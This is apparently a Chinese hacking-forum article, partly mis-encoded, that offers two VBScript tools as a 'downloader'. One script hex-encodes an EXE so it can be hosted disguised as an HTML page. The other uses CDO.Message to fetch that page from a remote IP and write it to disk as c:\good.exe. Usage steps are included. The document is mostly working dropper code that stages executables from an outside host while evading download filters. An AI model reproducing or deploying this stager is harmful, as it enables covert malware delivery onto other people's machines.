VBS 下載方法(CDO.MESSAGE)

字號:


    LCX在寫他的BLOG備份腳本時發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。
    于是研究了一會。寫出個粗糙的DEMO。
    exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
    ================================================
    代碼如下:
    'code by xiaolu
    'change by NetPatch
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    do while 1
    fname=arg(0)
    err.number=0
    Set Ado = CreateObject("adodb.stream")
    With Ado
    .Type = 1
    .open
    .loadfromfile fname
    ss = .read
    End With
    if err.number<>0 then
    if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
    else
    exit do
    end if
    loop
    if fname="" then Wscript.quit
    Set Fso=CreateObject("Scripting.FileSystemObject")
    Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
    File.write Bin2Str(ss)
    File.close
    Set fso=nothing
    Ado.close
    set Abo=nothing
    Function Bin2Str(Re)
    For i = 1 To lenB(Re)
    bt = AscB(MidB(Re, i, 1))
    if bt < 16 Then Bin2Str=Bin2Str&"0"
    Bin2Str=Bin2Str & Hex(bt)
    Next
    End Function
    ======================================
    下載者 down.vbs
    =============
    代碼如下:
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    'code by NetPatch
    'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody arg(0),31
    ss= Mail1.HTMLBody
    Set Mail1 = Nothing
    Set RS=CreateObject("ADODB.Recordset")
    L=Len(ss)/2
    RS.Fields.Append "m",205,L
    RS.Open:RS.AddNew
    RS("m")=ss&ChrB(0)
    RS.Update
    ss=RS("m").GetChunk(L)
    Set s=CreateObject("ADODB.Stream")
    with s
    .Mode = 3
    .Type = 1
    .Open()
    .Write ss
    .SaveToFile arg(1),2
    end with
    ==================================
    demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的
    使用方法:
    1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上
    2.down.vbs http://xxx/demo.htm c:\good.exe